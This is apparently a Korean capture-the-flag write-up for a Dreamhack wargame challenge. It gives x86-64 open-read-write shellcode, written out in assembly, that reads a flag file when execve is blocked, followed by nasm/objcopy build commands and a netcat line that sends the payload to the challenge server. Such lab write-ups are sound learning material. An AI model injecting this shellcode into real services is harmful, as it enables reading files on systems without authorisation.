*pwntool 사용해서 다시 풀기
https://dreamhack.io/wargame/challenges/410

첨부되어있는 shell_basic.c 파일을 열어보면 execve, execveat 시스템 콜을 사용하지 못하도록 함
=> orw 코드를 작성하여 문제 풀이
일단 /home/shell_basic/flag_name_is_loooooong를 16진수로 바꾸는 과정 필요
=> 2f 68 6f 6d 65 2f 73 68 65 6c 6c 5f 62 61 73 69 63 2f 66 6c 61 67 5f 6e 61 6d 65 5f 69 73 5f 6c 6f 6f 6f 6f 6f 6f 6e 67
이를 스택에 push
=> 리틀 엔디언 기준
구현
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp # rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi # rsi = 0 => O_RDONLY
xor rdx, rdx # rdx = 0 => mode 의미X
mov rax, 0x2 # rax = 2 => open
syscall
구현
mov rdi, rax # rdi = /home/shell_basic/flag_name_is_loooooong
mov rsi, rsp
sub rsi, 0x1000 # rsi = rsp - 0x1000 => 읽은 데이터를 저장할 주소
mov rdx, 0x1000 # rdx = 0x1000 => 읽어낼 데이터 길이
mov rax, 0x0 # rax = 0 => read
syscall
구현
mov rdi, 1 # rdi = 1 => stdout 출력
mov rax, 0x1 # rax = 1 => write
syscall
완성된 코드

셸 코드
nasm -f elf64 shell_basic.asm
objcopy --dump-section .text=shell_basic.bin shell_basic.o
xxd shell_basic.bin

flag 획득
cat shell_basic.bin | nc ~~

성공
